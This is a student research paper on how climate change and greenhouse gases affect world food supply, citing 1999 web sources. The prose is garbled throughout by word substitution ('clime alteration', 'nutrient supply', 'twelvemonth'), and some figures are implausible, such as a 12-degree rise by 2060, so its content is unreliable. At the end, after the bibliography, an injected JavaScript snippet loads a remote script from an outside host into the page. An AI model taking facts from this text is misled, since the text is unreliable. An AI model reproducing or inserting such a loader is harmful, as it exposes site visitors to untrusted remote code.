, Research Paper The universe needs to believe of how the clime is altering the nutrient supply of the Earth. The clime is making some truly bad things to the Earth. The ambiance is besides non in good form because of clime alteration. Worlds now need to believe of how climate alteration is impacting people. Climate alteration is impacting the nutrient supply of the universe. The clime alteration is quickly impacting the Earth. The Greenhouse gases are what is truly messing up are universe nutrient supply and what is messing up our Earth. Global Warming is doing concerns because of its high content in the ambiance already. Because of planetary warming the Earth is traveling down hill fast. We the people need to step up and take portion in the battle against nursery gases. Greenhouse gases are what are taking to climate alteration, and clime alteration is what is taking to the depletion of the universe nutrient supply. Because of lifting nursery gases, by the twelvemonth 2060 the temperature will lift 12 grades ( Pittock 1 ) . We have to utilize more fertiliser alternatively of chemical fertilisers. Natural fertilisers aren? T harmful to the environment. Scientists think that if we are lucky the populations will merely duplicate in the following 66 old ages ( Roach 3 ) . Although we will still hold to increase the Wicker Page 3 demand for nutrient. Between 1989 and 1990 the harvests increased by 60 per centum ( Pittock 4 ) . Between these two old ages we hold increased farm machinery by 4.7 times what it was before ( Pittock 4 ) . And we gave increased electricity by 5.1 times what it was before ( Pittock 4 ) . The clime alteration is impacting our atmosphere and a batch of people Dons? T cognize that. There are tonss of pollutants in the ambiance but the two that are of import in planetary heating and clime alteration are C dioxide and CFCs. Between those two, C dioxide ranks figure one pollutant in the ambiance. CFC? s are bad excessively, but non about as bad as C dioxide. CFC? s quicken planetary warming ( Weier 1 ) . Greenhouse gases consist of C dioxide chiefly and that is why we need to acquire rid of nursery gases all together. Believe it or non climate alteration affects people excessively. Global heating and pollution R / gt ; affects peoples take a breathing. Recently people with asthma have had a difficult tine external respiration because of planetary heating and pollution. Doctors have had more asthma patients in this twelvemonth so in any twelvemonth ( Weier 2 ) . So now what do you people think of planetary heating and pollution? The green revolution was mostly based on increased energy in the signifier of irrigation, mechanisation, fertilisers, and pesticides. Wicker Page 4 So far the production outputs in harvests are negative in the low latitude states because of clime alteration. Natural fertiliser helps harvests by 22 per centum where as chemical fertilisers help a small better than that but they are harmful to the dirt. Climate alteration can impact rainfall strength, conditions extremes, plagues, and diseases. Surveies have shown that Sub Saharan Africa will acquire the worst of planetary clime alteration and pollution. Besides surveies show that nutrient production will hold to turn 2 per centum every twelvemonth to prolong the nutrient supply ( Roach 1 ) . Scientists province that this is possible. The universe nutrient supply is altering and the population needs to believe about how to halt this from go oning. Changing clime is altering our Earth. As the clime is altering so is the universe nutrient supply. There is a high content of nursery gases in the ambiance. Peoples need to utilize natural fertilisers alternatively of chemical fertilisers. We need to increase the demand for nutrient. Climate alteration affects people excessively. The Green Revolution was based on the mechanics of farming. Climate alteration affects conditions forms excessively. Food production must increase 2 per centum of all time twelvemonth to maintain up with the population of the universe. Pittock, A. Barrie. Climate Change and World Food Supply: particular issues on environmental alteration and nutrient policy. 26 Oct. 1999: Internet. 10 Oct. 1999. Available WWW: hypertext transfer protocol: //www.elibrary.com. Roach, John. Factory farms come under examination. 26 Oct. 1999: Internet. 10 Oct. 1999. Available World wide web: hypertext transfer protocol: //www.enn.com/enn-news- archive/1999/09/092099/ffarm_5740.asp. Weier, John. Every Cloud has a Filthy Lining. 26 Oct. 1999: Internet. 10 Oct. 1999. Available World wide web: hypertext transfer protocol: //www.earthobservatory.nasa.gov/study/ . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;